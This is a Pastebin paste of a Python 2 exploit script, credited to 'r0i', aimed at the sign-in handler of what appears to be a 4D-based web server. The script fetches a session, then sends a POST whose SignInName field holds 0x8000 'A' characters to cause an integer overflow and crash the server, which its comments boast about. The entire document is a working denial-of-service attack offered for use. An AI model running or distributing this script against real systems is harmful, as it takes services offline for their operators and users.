Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #by r0i (@rmallof)
  2. #!/usr/bin/python
  3.  
  4. import socket,sys,time,os
  5. #global vars
  6. neg="GET / HTTP/1.1\r\n\r\n"
  7. lim0="Location:"                       
  8. lim1="&"
  9. lim2="sess="
  10. buf="SignInName="+("A"*0x8000)+"&SignInPassword=FOO&Sign+In=Log+In" # >= 0x8000 to int overflow
  11.  
  12.  
  13. def nego(h):                                    #starting connection and getting session
  14.     s=socket.socket()
  15.     try:
  16.         s.connect(h)
  17.     except:
  18.         print"[x] Error connecting to remote host!"
  19.         sys.exit(0)
  20.     s.send(neg)
  21.     time.sleep(1)
  22.     rec=s.recv(1024)
  23.     s.close()
  24.     return rec
  25.  
  26. def buildPOST(s,h,p,b):                             #building POST request for crashes server
  27.     P="POST /4daction/wHandleURLs/handleSignIn?sess="+s+"&siteCode=0&lang=en& HTTP/1.1\r\n"
  28.     P+="Host: "+h+"\r\n"
  29.     P+="User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10\r\n"
  30.     P+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
  31.     P+="Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\n"
  32.     P+="Accept-Encoding: gzip,deflate\r\n"
  33.     P+="Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
  34.     P+="Keep-Alive: 115\r\n"
  35.     P+="Connection: keep-alive\r\n"
  36.     P+="Referer: http://"+h+p+"\r\n"
  37.     P+="Content-Type: application/x-www-form-urlencoded\r\n"
  38.     P+="Content-Length: %s\r\n" % str(len(b))
  39.     P+="\r\n"
  40.     P+=b
  41.     time.sleep(1)
  42.     return P
  43.  
  44. def main():
  45.     if len(sys.argv)!=2:
  46.         print"\n[x] Usage: "+sys.argv[0]+" <host>\n\n"                         
  47.         sys.exit(0)
  48.     else:
  49.         host=sys.argv[1]
  50.         hostd=host,80
  51.     #1
  52.     print"[-] Getting HTTP session..."
  53.     r=nego(hostd)                               #getting new session...
  54.     path=r[r.index(lim0)+len(lim0)+1:r.rindex(lim1)+1]          #search for PATH
  55.     sess=path[path.index(lim2)+len(lim2):path.index(lim1)+len(lim1)-1]  #search for SESSION hash
  56.     time.sleep(1)
  57.     print"[+] 0k, session ="+sess
  58.     time.sleep(1)
  59.     #2
  60.     s=socket.socket()
  61.     s.connect(hostd)
  62.     print"[-] Bulding POST [Content-Length: %d bytes]..." % len(buf)
  63.     POST=buildPOST(sess,host,path,buf)                  #build POST request with new session
  64.     print"[+] Done, Sayonara ;)"
  65.     s.send(POST)                                #crash it 4fun&profit :)
  66.     time.sleep(1)                          
  67.     s.close()
  68. if __name__=="__main__":
  69.     main()